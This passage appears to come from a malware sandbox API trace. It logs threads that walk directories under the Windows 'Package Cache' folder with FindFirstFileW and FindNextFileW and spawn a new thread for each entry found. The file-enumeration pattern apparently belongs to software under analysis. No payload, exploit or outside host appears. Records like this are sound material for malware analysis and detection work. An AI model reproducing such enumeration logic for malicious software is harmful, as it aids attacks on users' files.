ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.950] FindClose (in: hFindFile=0x9422b0 | out: hFindFile=0x9422b0) returned 1 [0145.950] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92c238) returned 1 [0145.950] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f45a8) returned 1 [0145.950] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b1d8) returned 1 Thread: id = 2111 os_tid = 0xd84 [0143.154] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4660 [0143.154] wcscpy (in: _Dest=0x8f4660, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0143.154] wcscat (in: _Dest=0x8f4660, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0143.154] wcscat (in: _Dest=0x8f4660, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" [0143.154] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b3c8 [0143.154] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x92b3c8 | out: lpFindFileData=0x92b3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941eb0 [0144.980] wcscmp (_String1=".", _String2=".") returned 0 [0144.980] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x92b3c8 | out: lpFindFileData=0x92b3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.980] wcscmp (_String1="..", _String2=".") returned 1 [0144.980] wcscmp (_String1="..", _String2="..") returned 0 [0144.980] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x92b3c8 | out: lpFindFileData=0x92b3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0144.980] wcscmp (_String1="packages", _String2=".") returned 1 [0144.980] wcscmp (_String1="packages", _String2="..") returned 1 [0144.980] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c6200 [0144.980] wcscpy (in: _Dest=0xd4c6200, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0144.980] wcscat (in: _Dest=0xd4c6200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\" [0144.980] wcscat (in: _Dest=0xd4c6200, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0146.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c6200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe3c [0146.623] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x92b3c8 | out: lpFindFileData=0x92b3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0146.623] FindClose (in: hFindFile=0x941eb0 | out: hFindFile=0x941eb0) returned 1 [0146.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b3c8) returned 1 [0146.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4660) returned 1 [0146.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b288) returned 1 Thread: id = 2112 os_tid = 0xd88 [0143.160] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4718 [0143.160] wcscpy (in: _Dest=0x8f4718, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0143.160] wcscat (in: _Dest=0x8f4718, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0143.160] wcscat (in: _Dest=0x8f4718, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0143.161] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92bb00 [0143.161] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x92bb00 | out: lpFindFileData=0x92bb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9424f0 [0144.981] wcscmp (_String1=".", _String2=".") returned 0 [0144.981] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x92bb00 | out: lpFindFileData=0x92bb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.981] wcscmp (_String1="..", _String2=".") returned 1 [0144.981] wcscmp (_String1="..", _String2="..") returned 0 [0144.981] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x92bb00 | out: lpFindFileData=0x92bb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0144.981] wcscmp (_String1="packages", _String2=".") returned 1 [0144.981] wcscmp (_String1="packages", _String2="..") returned 1 [0144.981] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c62c0 [0144.981] wcscpy (in: _Dest=0xd4c62c0, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0144.981] wcscat (in: _Dest=0xd4c62c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0144.981] wcscat (in: _Dest=0xd4c62c0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0146.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c62c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe40 [0146.625] FindNextFileW (in: hFindFile=0x9424f0, lpFindFileData=0x92bb00 | out: lpFindFileData=0x92bb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0146.625] FindClose (in: hFindFile=0x9424f0 | out: hFindFile=0x9424f0) returned 1 [0146.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92bb00) returned 1 [0146.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4718) returned 1 [0146.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b338) returned 1 Thread: id = 2113 os_tid = 0xd8c [0143.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f47d0 [0143.167] wcscpy (in: _Dest=0x8f47d0, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0143.167] wcscat (in: _Dest=0x8f47d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0143.167] wcscat (in: _Dest=0x8f47d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0143.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92bfd0 [0143.167] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x92bfd0 | out: lpFindFileData=0x92bfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9427f0 [0145.096] wcscmp (_String1=".", _String2=".") returned 0 [0145.096] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x92bfd0 | out: lpFindFileData=0x92bfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.096] wcscmp (_String1="..", _String2=".") returned 1 [0145.096] wcscmp (_String1="..", _String2="..") returned 0 [0145.096] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x92bfd0 | out: lpFindFileData=0x92bfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.096] wcscmp (_String1="packages", _String2=".") returned 1 [0145.096] wcscmp (_String1="packages", _String2="..") returned 1 [0145.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c65c0 [0145.096] wcscpy (in: _Dest=0xd4c65c0, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0145.096] wcscat (in: _Dest=0xd4c65c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0145.096] wcscat (in: _Dest=0xd4c65c0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0145.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c65c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe64 [0145.948] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x92bfd0 | out: lpFindFileData=0x92bfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.948] FindClose (in: hFindFile=0x9427f0 | out: hFindFile=0x9427f0) returned 1 [0145.948] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92bfd0) returned 1 [0145.948] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f47d0) returned 1 [0145.948] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b3e8) returned 1 Thread: id = 2114 os_tid = 0xd90 [0143.168] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4888 [0143.168] wcscpy (in: _Dest=0x8f4888, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0143.168] wcscat (in: _Dest=0x8f4888, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0143.168] wcscat (in: _Dest=0x8f4888, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0143.168] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92a558 [0143.168] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x92a558 | out: lpFindFileData=0x92a558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942070 [0144.981] wcscmp (_String1=".", _String2=".") returned 0 [0144.982] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x92a558 | out: lpFindFileData=0x92a558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.982] wcscmp (_String1="..", _String2=".") returned 1 [0144.982] wcscmp (_String1="..", _String2="..") returned 0 [0144.982] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x92a558 | out: lpFindFileData=0x92a558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0144.982] wcscmp (_String1="packages", _String2=".") returned 1 [0144.982] wcscmp (_String1="packages", _String2="..") returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c6380 [0144.982] wcscpy (in: _Dest=0xd4c6380, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0144.982] wcscat (in: _Dest=0xd4c6380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0144.982] wcscat (in: _Dest=0xd4c6380, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0146.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c6380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe44 [0146.627] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x92a558 | out: lpFindFileData=0x92a558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0146.627] FindClose (in: hFindFile=0x942070 | out: hFindFile=0x942070) returned 1 [0146.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92a558) returned 1 [0146.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4888) returned 1 [0146.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b498) returned 1 Thread: id = 2115 os_tid = 0xd94 [0143.168] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9acd08 [0143.168] wcscpy (in: _Dest=0x9acd08, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0143.168] wcscat (in: _Dest=0x9acd08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0143.168] wcscat (in: _Dest=0x9acd08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0143.168] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b898 [0143.168] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942830 [0145.095] wcscmp (_String1=".", _String2=".") returned 0 [0145.095] FindNextFileW (in: hFindFile=0x942830, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.095] wcscmp (_String1="..", _String2=".") returned 1 [0145.095] wcscmp (_String1="..", _String2="..") returned 0 [0145.095] FindNextFileW (in: hFindFile=0x942830, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0145.096] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0145.096] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0145.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97c0f8 [0145.096] wcscpy (in: _Dest=0x97c0f8, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0145.096] wcscat (in: _Dest=0x97c0f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0145.096] wcscat (in: _Dest=0x97c0f8, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0145.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97c0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe60 [0145.946] FindNextFileW (in: 